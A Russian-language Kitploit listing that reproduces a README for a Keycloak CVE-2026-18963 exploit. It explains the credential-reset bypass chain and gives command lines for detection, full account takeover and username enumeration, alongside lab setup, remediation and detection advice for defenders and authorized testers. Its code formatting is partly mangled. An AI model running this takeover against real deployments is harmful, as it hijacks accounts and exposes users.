Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-18963-Exploit — Эксплойт для Keycloak CVE-2026-18963, позволяющий неавторизованный захват учётной записи через обход сброса учётных данных. Включает безопасное обнаружение, неразрушающее доказательство, полный захват, перечисление имён пользователей и лабораторию с уязвимой и исправленной версиями. | Kitploit
Инструменты/GitHubGitHub/snizi/cve-2026-18963-exploit
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubsnizi/cve-2026-18963-exploit

CVE-2026-18963-Exploit

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

714 дней назадЕщё не проверено

Эксплойт для Keycloak CVE-2026-18963, позволяющий неавторизованный захват учётной записи через обход сброса учётных данных. Включает безопасное обнаружение, неразрушающее доказательство, полный захват, перечисление имён пользователей и лабораторию с уязвимой и исправленной версиями.

Поделиться

CVE-2026-18963 — обход сброса учётных данных Keycloak → захват учётной записи без аутентификации

CVE Affected Python Dependencies

Зная только имя пользователя или адрес электронной почты, неаутентифицированный злоумышленник устанавливает произвольный пароль на любой учётной записи Keycloak. Письмо о сбросе пароля доставляется реальной жертве и никогда не требуется — злоумышленник не читает почтовый ящик, не переходит по ссылкам и не имеет ни предыдущих учётных данных, ни сессии.

Затронуто: Keycloak 26.0.0 – 26.7.1. Исправлено в 26.7.2.


Уязвим ли я?

Одна команда. Действительное имя пользователя не требуется, и побочных эффектов нет — она не отправляет письмо, не изменяет ни одну учётную запись и останавливается до эксплуатируемого шага.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit

python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check

root@kitploit:~
Python 3.9+, только стандартная библиотека. Ничего устанавливать не нужно.

| Код выхода | Вердикт | Значение |
|:---:|---|---|
| `0` | 🔴 **УЯЗВИМО** | был отдан припаркованный почтовый шлюз — сама ошибка |
| `2` | 🟢 **ИСПРАВЛЕНО** | поток переключился на вход и остался там (исправление #51844 присутствует) |
| `2` | 🟡 **СМЯГЧЕНО** | сброс учётных данных недоступен — *Забыли пароль* отключён. **Это не исправление.** |
| `3` | ⚪ **НЕОПРЕДЕЛЁННО** | нераспознанный ответ — **не воспринимайте это как прохождение проверки** |

Запускайте для каждого realm — *Забыли пароль* — это настройка на уровне realm, и `master` тоже учитывается.
Подробности и объяснение, почему проверке не нужен пользователь и она ничего не затрагивает, — в
[§4a](#4a-safe-detection---safe-check--start-here).

**Уже знаете, что вы уязвимы?** Переходите к [устранению](#8-remediation) и
[обнаружению / охоте за угрозами](#9-detection).

### Попробуйте без цели

В репозитории есть лаборатория, которая запускает уязвимую **26.7.1** и исправленную **26.7.2**
бок о бок с одинаковым realm, а также почтовый ящик, чтобы увидеть, как письмо о сбросе
приходит и остаётся непрочитанным, пока учётная запись захватывается:```bash
cd lab && docker compose up -d

python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
  --realm poc --client-id poc-app --safe-check   # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
  --realm poc --client-id poc-app --safe-check   # PATCHED

⚠️ Только авторизованное тестирование

Этот репозиторий предназначен для защитников, специалистов по реагированию на инциденты и авторизованных пентестеров. Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть письменное разрешение. Всё здесь поставляется с самодостаточной уязвимой лабораторией (lab/), поэтому для изучения работы бага не требуется трогать ничего внешнего. Направление его на стороннюю инфраструктуру без авторизации незаконно в большинстве юрисдикций и не поддерживается этим проектом.

Ссылки: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · исправление keycloak#51844


Содержание

  • 1. Корневая причина
  • 2. Затронутые версии (включая устаревшие ветки)
  • 3. Лаборатория
  • 4. Использование
    • 4a. Безопасное обнаружение (--safe-check) — начните здесь
    • 4b. Неразрушающее подтверждение (--check)
    • 4c. Полный захват
    • 4d. Перебор имён пользователей (--enum)
  • 5. Пользовательские темы входа
  • 6. Известный пробел — PKCE
  • 7. Выполненная валидация
  • 8. Устранение
  • 9. Обнаружение
  • Автор

1. Корневая причина

Два дефекта, объединённые в цепочку. Ни один из них не эксплуатируется по отдельности.

Дефект 1 — неограниченный «липкий» флаг

services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java

processAction() — любой POST, содержащий ключ формы tryAnotherWay:```java processor.getAuthenticationSession().setAuthNote( AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true"); return createSelectAuthenticatorsScreen(model);

root@kitploit:~
Заметка представляет собой **голый булев флаг без записи о том, какой набор выполнения его установил**. Он сбрасывается только в ветке, которая обрабатывает переданный параметр `authenticationExecution`. Если опустить этот параметр — как это делает данный PoC на протяжении всего кода — флаг остаётся установленным на всё время жизни сессии аутентификации.

`processFlow()` — пока флаг истинен, обычная оценка потока пропускается:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
    String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
    if (lastExecutionId != null) {
        AuthenticationExecutionModel executionModel =
            realm.getAuthenticationExecutionById(lastExecutionId);
        if (executionModel != null)
            return createSelectAuthenticatorsScreen(executionModel);   // <-- attacker-usable form
    }
}

It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".

The glue is processResult() case FORK: — when Send Reset Email fires it stamps CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks the browser to the login page. The parked execution is precisely the e-mail gate.

Defect 2 — the e-mail gate never checks the action token

`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }

root@kitploit:~
Unconditional. Ничто не проверяет, что поток был возобновлён действительным токеном действия,
поэтому *достижение* `action()` рассматривается как эквивалент доказательства контроля над почтовым ящиком.

### Цепочка```
tryAnotherWay POST            → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier      → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials    → sticky flag serves a form targeting the parked e-mail execution
POST that form                → ResetCredentialEmail.action() → success() → gate bypassed
                              → flow advances to UPDATE_PASSWORD → attacker sets the password

Шесть HTTP-запросов, без аутентификации, параметр authenticationExecution не используется ни в один момент.

Исправление (PR #51844)

  • Заметка теперь хранит model.getId(), а processFlow() учитывает её только когда она равна CURRENT_AUTHENTICATION_EXECUTION, в противном случае удаляет её. В атаке эти два значения различаются (id выбора пользователя против id e-mail-gate) — именно это обнаруживает патч, и именно на этот сигнал опирается --safe-check.
  • ResetCredentialEmail.action() теперь требует context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID)) и в противном случае завершается ошибкой INVALID_USER.

2. Затронутые версии (включая устаревшие линии)

Что означает «legacy» для этого CVE

  • Устаревшие релизы не автоматически безопасны — они безопасны по конкретной причине. Заметка со sticky-булевым значением была введена в 26.0.0 коммитом 6a9e60bb, который добавил экран выбора аутентификатора «Try another way» в поток сброса. Всё, что старше, просто не содержит этого пути кода. Это включает старые дистрибутивы на базе WildFly и RH-SSO 7.x, которые не затронуты этой ошибкой, оставаясь при этом снятыми с поддержки и уязвимыми ко множеству других. Оставаться на устаревшей сборке — не является мерой устранения.
  • Устаревшие линии 26.x — это реальная проблема. 26.7.2 — единственный исправленный релиз, опубликованный для сообщества. Если развёртывание находится на 26.0 – 26.6, то патч-релиза на этой линии нет — исправление требует обновления минорной версии, а не точечного релиза. Теги 26.4.15 / 26.6.6 — это бэкпорты от вендора и не взаимозаменяемы с образами сообщества.
  • Поскольку многие долгоживущие развёртывания закреплены на более старой 26.x по причинам совместимости, «мы полностью пропатчены на нашей линии» — это распространённое и ошибочное здесь предположение. Проверяйте запущенную сборку, а не политику обновлений.

Предусловия: в realm включён Forgot password и привязанный поток сброса учётных данных использует встроенный аутентификатор reset-credential-email.


3. Лаборатория

Репозиторий поставляет как уязвимый, так и пропатченный Keycloak, импортируя идентичный realm, а также Mailpit для перехвата письма о сбросе — так вы можете наблюдать, как оно приходит и остаётся непрочитанным, пока учётная запись захватывается.```bash cd lab docker compose up -d

root@kitploit:~
| Service | URL | Version |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **уязвимая** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **исправленный контроль** |
| `kc-mailpit` | http://localhost:8025 | почтовый ящик жертвы |

Realm `poc`, публичный клиент `poc-app`, пользователь `victim` / `OriginalPassw0rd!`, администратор
Keycloak `admin` / `admin`.

Закрепите разные сборки с помощью `KC_VULN_VERSION` / `KC_PATCHED_VERSION`:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln

Между запусками lab/reset-victim.sh восстанавливает пароль жертвы (KC=http://localhost:8100 lab/reset-victim.sh нацелен на пропатченный экземпляр).

lab/legit_reset.py выполняет настоящий сброс, извлекая ссылку с action-token из Mailpit и переходя по ней. Это контрольный образец для работы по обнаружению в §9 — запустите его и эксплойт против одного и того же realm, затем сравните трассировки.

Завершение работы: docker compose down -v.


4. Использование

Python 3.9+, только стандартная библиотека — без зависимостей, разворачивается на любой jump box.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE

root@kitploit:~
`--client-id` может быть любым включённым публичным клиентом со стандартным потоком. Встроенный
клиент `account` существует в каждом realm и является надёжным выбором, но он ограничивает
redirect URI, поэтому `--redirect-uri` **обязательно** должен быть
`<base>/realms/<realm>/account/` — значение по умолчанию отклоняется, и шаг 1 завершается неудачей.

### 4a. Безопасное обнаружение (`--safe-check`) — начните здесь

Не требует **действительного имени пользователя** и **не имеет побочных эффектов**. Это тот зонд, который следует использовать,
когда нельзя нарушать работу цели.```bash
python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm corp \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/corp/account/ \
  --safe-check

Почему ему не нужен пользователь и он не отправляет письма. ResetCredentialEmail.authenticate() также разветвляется и для неизвестного пользователя:```java if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }

root@kitploit:~
`processResult()` `case FORK:` поэтому паркует `CURRENT_AUTHENTICATION_EXECUTION`
на выполнении e-mail **даже если никто не найден** — и письмо не отправляется,
потому что отправлять некому. Зонд останавливается на дискриминаторе и никогда
не POST-ит шлюз, поэтому `action()` не выполняется: нет NPE на цели, нет записи `emailVerified`,
нет письма, аккаунт не затронут.

**Он утверждает только по положительному сигналу.** УЯЗВИМ ⟺ шаг 5 возвращает форму
всё ещё внутри `login-actions/reset-credentials`, чей `execution` отличается от
execution выбора пользователя. Это *и есть* баг: устаревшая
заметка `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED`, обслуживающая припаркованный e-mail шлюз.
Обе половины важны — путь доказывает, что мы всё ещё в потоке сброса, а отличающийся
id execution доказывает, что это e-mail шлюз, а не повторный рендер.

Всё остальное **не** молча объявляется исправленным. PATCHED требует собственных доказательств
(форк на `login-actions/authenticate` *и* наличие поля ввода пароля); всё
остальное — INCONCLUSIVE и требует участия человека. Более ранний дизайн считал «не форму шлюза»
исправленной, что тихо превращает каждую кастомную тему, страницу ошибки, WAF-блок
и промежуточную страницу в ложное заключение о полной безопасности.

### 4b. Нераэрушающая проверка (`--check`)

Проводит всю цепочку, но останавливается на форме Update Password. Достижение этой формы
без action-токена является убедительным доказательством.```bash
python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm corp \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/corp/account/ \
  --victim [email protected] --check

Два побочных эффекта неизбежны, поскольку они происходят выше по потоку от формы пароля — укажите их в объёме работ:

  • письмо о сбросе пароля доставляется реальной жертве (шаг 4 — это настоящий запрос на сброс), и
  • уязвимый action() устанавливает emailVerified = true на учётной записи.

Никакие учётные данные не изменяются. Предпочтительно использовать выделенную тестовую учётную запись.

4c. Полный захват

Только лабораторная или явно авторизованная демонстрация.```bash python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'

root@kitploit:~
Выход `0` — уязвим · `2` — не эксплуатируется · `1` — пароль изменён, но подтверждающий
грант не удался (укажите `--verify-client-id` на клиента с Direct Access Grants).

Завершение потока также возвращает **OIDC-код авторизации для жертвы**, поэтому
захват происходит немедленно — повторный вход с новым паролем не требуется.

### 4d. Перечисление имён пользователей (`--enum`)

Тот же недостаток является оракулом имён пользователей, причём более сильным, чем
обычно допускает Keycloak. `ResetCredentialEmail.authenticate()` намеренно возвращает
одинаковое *«Вы должны вскоре получить письмо»* для реальных и неизвестных пользователей,
поэтому сама форма сброса не может использоваться для перечисления — эта защита
сохраняется на шаге 4. Она ломается на **шаге 6**, где `action()` безусловно
разыменовывает пользователя (`context.getUser().setEmailVerified(true)`).

| Идентификатор | Шаг 6 | Вердикт |
|---|---|---|
| реальный пользователь | `200`, достигает формы смены пароля | ДЕЙСТВИТЕЛЕН |
| неизвестный пользователь | `400` (страница ошибки NPE) | НЕДЕЙСТВИТЕЛЕН |```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc --client-id poc-app \
  --enum candidates.example.txt

Никогда не меняет пароль. Выход 0, если какой-либо идентификатор разрешился, иначе 2.

Стоимость одного запроса — прочтите перед запуском. Для обращения к оракулу необходимо пройти шаг 4, поэтому каждый запрос к реальной учётной записи отправляет этому человеку настоящее письмо для сброса пароля и устанавливает emailVerified = true в его записи. Это не тихая проверка: она видна владельцу учётной записи и изменяет его данные. Список из 5 000 имён — это 5 000 писем реальным людям и 5 000 изменённых учётных записей.

Используйте её, чтобы продемонстрировать существование оракула на нескольких идентификаторах для отчёта, а не для сбора каталога. Ограничения намеренно консервативны:

  • --enum-max N отклоняет списки длиннее N (по умолчанию 25)
  • --enum-delay SEC делает паузу между запросами (по умолчанию 2.0)

Повышение любого из них должно быть осознанным решением, зафиксированным в заметках о тестировании.

Угол для отчёта: это обходит контроль защиты от перечисления, который Keycloak реализовал намеренно. Это стоит оформить как отдельную находку наряду с захватом учётной записи, и это опровергает «наши имена пользователей невозможно угадать» как смягчающий фактор.


5. Пользовательские темы входа

Любое серьёзное развёртывание поставляется с пользовательской темой входа, а пользовательские темы переименовывают или удаляют стандартные идентификаторы элементов (kc-form-login, kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form). Инструмент, который опирается на эти идентификаторы, выдаёт ложноотрицательный результат именно на тех развёртываниях, которые важнее всего, — этот инструмент так и делал, пока его не переписали. Встречающиеся в реальной практике темы используют идентификаторы вида id="login-form" и содержат ссылку забыли пароль с пустым атрибутом href.

Поэтому данная PoC не опирается ни на что, что контролирует тема:

  • Только URL-адреса действий форм. Каждое решение принимается на основе action= форм на странице — login-actions/reset-credentials, login-actions/authenticate, login-actions/required-action — и параметра запроса execution внутри них. Эти пути генерируются собственным LoginActionsService Keycloak, а не темой.
  • Никаких идентификаторов элементов. grep по исходному коду: в нём нет ни одного идентификатора kc-*.
  • Никакого текста сообщений. Строки ответов локализованы — немецкий realm отвечает «Reset Credential nicht erlaubt», и сопоставление с «You should receive an email» ломается на любом неанглийском realm.
  • Он никогда не переходит по тематической ссылке «Забыли пароль». Ссылка может отсутствовать, быть пустой, управляться JavaScript или вести куда-то за пределы Keycloak — ни одно из этих условий ничего не говорит о доступности конечной точки. Инструмент формирует /realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… и проверяет её напрямую, беря tab_id из любой формы, которую страница входа действительно отображает.

Если цель по-прежнему возвращает INCONCLUSIVE, запустите с --verbose --dump out.html и прочитайте ответ — инструмент намеренно отказывается угадывать.


6. Известный пробел — PKCE

Клиент, который принудительно использует PKCE, отклоняет шаг 1 с ошибкой Missing parameter: code_challenge_method. Это сообщается как INCONCLUSIVE (выход 3), но никогда как успех. Пока не будет добавлена поддержка PKCE, realm, единственный пригодный публичный клиент которого требует PKCE, нельзя проверить этим инструментом — попробуйте встроенный клиент account, который обычно не требует PKCE.


7. Выполненная валидация

Каждый запуск ниже выполнен против лабораторного стенда в этом репозитории с использованием опубликованного кода.

Две находки, которые стоит выделить помимо текста рекомендации:

  1. Учётные записи без адреса электронной почты эксплуатируемы. ResetCredentialEmail.authenticate() выбирает путь forkWithSuccessMessage, когда user.getEmail() равен null, что по-прежнему приостанавливает выполнение через case FORK:. То же самое справедливо при сбое отправки SMTP — сломанный или отсутствующий почтовый сервер не является смягчением. Это напрямую касается realm с федерацией AD/LDAP, где учётные записи часто не содержат атрибута почты.
  2. Завершение потока выполняет вход атакующего под учётной записью жертвы. Финальный редирект содержит действительный код авторизации OIDC, поэтому учётная запись скомпрометирована в момент отправки формы пароля.

MFA не является смягчением. Поток сброса учётных данных по умолчанию не содержит шага OTP, и, пройдя его, атакующий может удалить зарегистрированные факторы жертвы.


8. Устранение

Исправление: обновление. 26.7.2 для сборок сообщества или тег бэкпорта от вендора, соответствующий вашей подписке. Всё ниже — временные меры.

Промежуточные смягчения, от лучшего к худшему:

  1. Отключите Забыли пароль для каждого realm (Realm settings → Login). Подтверждено как эффективное — поток возвращает HTTP 400 и не может быть запущен. Проверьте каждый realm, включая master.
  2. Отключите выполнение Reset Password в привязанном потоке reset-credentials. Работает, но страница входа по-прежнему предлагает ссылку, поэтому UX страдает. Полезно там, где пользовательская тема игнорирует переключатель realm.
  3. Добавьте обязательный аутентификатор (OTP/WebAuthn) после шага электронной почты в потоке сброса. Это не закрывает обход — это лишь ограничивает полный захват учётными записями, которые действительно зарегистрировали этот фактор.

Realm, чей привязанный поток сброса полностью кастомный и никогда не вызывает reset-credential-email, не эксплуатируемы через этот путь.


9. Обнаружение

Keycloak не генерирует событие «action token пропущен», поэтому обнаружение эвристическое. Запустите lab/legit_reset.py вместе с эксплойтом, чтобы получить оба набора трасс и сравнить их.

  • Журналы обратного прокси / ingress — самый сильный сигнал. Легитимный сброс показывает GET /login-actions/action-token?... (жертва нажимает на ссылку из письма) до смены пароля. При обходе такого GET нет. Вместо этого виден POST на login-actions/reset-credentials, тело которого содержит tryAnotherWay, за которым следует второй POST на тот же путь с пустым телом, а затем форма пароля. POST с tryAnotherWay внутри потока сброса — это не то, что стандартный UI создаёт при обычном использовании.
  • События администратора: SEND_RESET_PASSWORD, за которым следует UPDATE_PASSWORD с тем же code_id в течение нескольких секунд — в лаборатории менее секунды. Пользователь с уже открытым письмом тоже может сработать быстро, поэтому подтверждайте журналами прокси.
  • Учётные записи, у которых emailVerified переключился на true без соответствующего события VERIFY_EMAIL, — полезный вспомогательный индикатор, и атакующий не может избежать его появления.

Отсутствие событий ничего не доказывает, если ведение журнала событий или их хранение были отключены. Проверьте окно хранения, прежде чем делать вывод, что развёртывание не было затронуто.


Автор

Snizi — github.com/Snizi — [email protected]

Выпущено под лицензией MIT. Приветствуются вопросы и PR — особенно поддержка PKCE и дополнительные особенности реальных тем.

Скачать инструмент
ЛинияУязвимаяИсправление в сообществе
Legacy (Keycloak на базе WildFly, ≤ 17)не затронута—
Quarkus 17 – 25.xне затронута—
26.026.0.0 – 26.0.17нет
26.126.1.0 – 26.1.5нет
26.226.2.0 – 26.2.16нет
26.326.3.0 – 26.3.5нет
26.426.4.0 – 26.4.1426.4.15 (тег бэкпорта от вендора)
26.526.5.0 – 26.5.7нет
26.626.6.0 – 26.6.526.6.6 (тег бэкпорта от вендора)
26.726.7.0 – 26.7.126.7.2
Код выходаВердиктЗначение
0УЯЗВИМОбыл обслужен отложенный почтовый шлюз — сама ошибка
2ИСПРАВЛЕНОпоток переключился на вход и остался там (исправление #51844 присутствует)
2СМЯГЧЕНОсброс учётных данных недоступен — Забыли пароль отключён. Это не исправление.
3НЕОПРЕДЕЛЁННОнераспознанный ответ — не воспринимайте это как успешный проход
ТестЦельРезультат
--safe-check26.7.1VULNERABLE, выход 0 — шлюз электронной почты обслужен (execution ≠ choose-user)
--safe-check26.7.2PATCHED, выход 2 — переключено на вход и осталось там
--safe-check, Забыли пароль выключено26.7.2MITIGATED, выход 2 — HTTP 400, поток недостижим
Полный захват26.7.1выход 0 — пароль установлен, код OIDC выдан, password grant подтверждает
Полный захват26.7.2выход 2 — заблокировано на шаге 5, учётная запись не тронута
--check26.7.1достигнут UPDATE_PASSWORD; пароль после этого проверен как неизменённый
--enum26.7.1victim и [email protected] VALID, does-not-exist INVALID
Состояние учётных данных после захвата26.7.1новый пароль → 200, старый пароль → 400
Состояние учётных данных после заблокированного запуска26.7.2старый пароль → 200, пароль атакующего → 400
Почтовый ящик жертвыMailpitписьма о сбросе доставлены и не прочитаны; ссылка с action-token никогда не запрашивается